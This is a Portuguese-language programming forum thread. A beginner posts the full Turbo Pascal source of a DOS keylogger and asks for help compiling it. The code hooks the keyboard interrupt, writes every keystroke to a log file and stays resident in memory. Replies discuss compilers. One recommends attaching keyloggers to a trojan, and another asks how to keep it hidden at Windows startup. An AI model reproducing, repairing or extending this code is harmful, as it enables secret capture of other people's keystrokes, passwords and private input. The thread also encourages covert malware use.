• Revista PROGRAMAR: Já está disponível a edição #53 da revista programar. Faz já o download aqui!

ber0x88

Keylogger

14 mensagens neste tópico

Olá pessoal!!! :ipool:

Andei bastante tempo a tentar arranjar um código fonte de um keylogger em pascal... mas agora tá dificil de ler o código todo...  é que eu quando vou para testar dá-me diverssos erros... uso o PZIM... ele dá erro no código dos uses?!?  :wallbash: se alguém podesse ajudar e verificar se o código desenvolve era uma grande ajuda...  :cheesygrin:

{$F+}                        (* enable far call (out of our Segments) *)

{$M $3200,0,1000}            {stack:=3200h,MinHeap:=0 and MaxHeap:=1000} 
{$S-,R-}                     {disable stack overflow and range checking}
uses CRT,DOS;      

var                

oldint9:Procedure;
KeyScanCode:Byte; 
KeyChar:String;   
FP:Text;    

Procedure KeyPress;Interrupt;
Begin
      mem[0:4]:=$AA;           
      Append(fp);              
      KeyScanCode:=Port[$60];  

      Case KeyScanCode of      
          1:KeyChar:='Esc ';
          2:KeyChar:='1 ';
          3:KeyChar:='2 ';
          4:KeyChar:='3 ';
          5:KeyChar:='4 ';
          6:KeyChar:='5 ';
          7:KeyChar:='6 ';
          8:KeyChar:='7 ';
          9:KeyChar:='8 ';
          10:KeyChar:='9 ';
          11:KeyChar:='0 ';
          12:KeyChar:='- ';
          13:KeyChar:='= ';
          14:KeyChar:='Bksp ';
          15:KeyChar:='Tab ';
          16:KeyChar:='Q ';
          17:KeyChar:='W ';
          18:KeyChar:='E ';
          19:KeyChar:='R ';
          20:KeyChar:='T ';
          21:KeyChar:='Y ';
          22:KeyChar:='U ';
          23:KeyChar:='I ';
          24:KeyChar:='O ';
          25:KeyChar:='P ';
          26:KeyChar:='[ ';
          27:KeyChar:='] ';
          28:KeyChar:='Enter ';
          29:KeyChar:='Ctrl ';
          30:KeyChar:='A ';
          31:KeyChar:='S ';
          32:KeyChar:='D ';
          33:KeyChar:='F ';
          34:KeyChar:='G ';
          35:KeyChar:='H ';
          36:KeyChar:='J ';
          37:KeyChar:='K ';
          38:KeyChar:='L ';
          39:KeyChar:='; ';
          40:KeyChar:='coma ';
          41:KeyChar:='` ';
          42:KeyChar:='LShift ';
          43:KeyChar:='\ ';
          44:KeyChar:='Z ';
          45:KeyChar:='X ';
          46:KeyChar:='C ';
          47:KeyChar:='V ';
          48:KeyChar:='B ';
          49:KeyChar:='N ';
          50:KeyChar:='M ';
          51:KeyChar:=', ';
          52:KeyChar:='. ';
          53:KeyChar:='/ ';
          54:KeyChar:='RShift ';
          55:KeyChar:='* ';
          56:KeyChar:='Alt ';
          57:KeyChar:='Space ';
          58:KeyChar:='CapsLock ';
          59:KeyChar:='F1 ';
          60:KeyChar:='F2 ';
          61:KeyChar:='F3 ';
          62:KeyChar:='F4 ';
          63:KeyChar:='F5 ';
          64:KeyChar:='F6 ';
          65:KeyChar:='F7 ';
          66:KeyChar:='F8 ';
          67:KeyChar:='F9 ';
          68:KeyChar:='F10 ';
          133:KeyChar:='F11 ';
          134:KeyChar:='F12 ';
          69:KeyChar:='NumLock ';
          70:KeyChar:='Scroll Lock ';
          71:KeyChar:='Home(7) ';
          72:KeyChar:='UP(8) ';
          73:KeyChar:='PgUp(9) ';
          74:KeyChar:='Gray - ';
          75:KeyChar:='Left(4) ';
          76:KeyChar:='Center(5) ';
          77:KeyChar:='Right(6) ';
          78:KeyChar:='Gray + ';
          79:KeyChar:='End(1) ';
          80:KeyChar:='Down(2) ';
          81:KeyChar:='PgDn(3) ';
          82:KeyChar:='Ins(0) ';
          83:KeyChar:='Del(.) ';
     End; 

     WriteLn(fp,KeyChar); 

     Close(fp); 
                
   Inline ($9C);
   OldInt9; 
End;


Begin

    Textcolor(LightGreen);

    if mem[0:4]=$AA then
      begin
        writeln(#13,#10,'This program has been allready installed.');
        halt(0)    
      end;

    writeln(#13,#10,'KeyLogger Program Installed successfully!',#13,#10);

   Assign(fp,'\keylist.log');    
   Rewrite(fp);                  
   Close(fp);                    
   GetIntVec($9,@OldInt9);       
   SetIntVec($9,Addr(KeyPress)); 
   Keep(0);    

End.

sei que ele deve criar um ficheiro chamado keylist.log... penso eu... :shocking:

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Para a próxima usa o GeSHi, mais fácil de ler o código!  :)

No FreePascal também não dá para compilar.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

ok eu ainda sou novato nestas andanças... pra próxima já sei GeSHI vai estar on...  :(

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Boa ideia pra quem começa com pascal. O Pascal Zim não compila??? Porquê, podem responder???

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Exkeçe o Zim n vale a pena.... utiliza o 7.0

Se calhar é mesmo do código...

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

experimenta não por uses no pascal ZIM! ele não usa o uses crt nem o dos, é uma vantagem (ou não)!

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Keylogger em pascal ? Sai asneira, não que a tua maneira de programar seja má, nada disso... keylogger em pascal, não dá muito jeito, o programa bate logo mal... lol :smoke:

PS: Obrigado pelo codigo

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

ja agora....para que serve o keylogger em pascal??e que eu sabendo para que serve posso dar uma ajudinha...

PS: desculpem a minha ignorancia

um keylogger é um programa que serve para monitorar as teclas pressionadas

muito util para juntares a um trojan ;)

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

nem sabia que era possivel kriar um keylogger no pascal....

Tasse...vou tenatr encontrar o turbo pascal a  ver se compila.....

Mas dá para que ele fique oculto ao iniciar o Windows?

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

No Free Pascal também não dá para compilar.

Numca fiz nada do género em Pascal, nem em outras linguagens de programação...

Vou tentar obter informação, se ás vezes descubrir algo aviso, caso ainda ninguém tenha esclarecido aqui o pessoal.

0

Partilhar esta mensagem


Link para a mensagem
Partilhar noutros sites

Crie uma conta ou ligue-se para comentar

Só membros podem comentar

Criar nova conta

Registe para ter uma conta na nossa comunidade. É fácil!


Registar nova conta

Entra

Já tem conta? Inicie sessão aqui.


Entrar Agora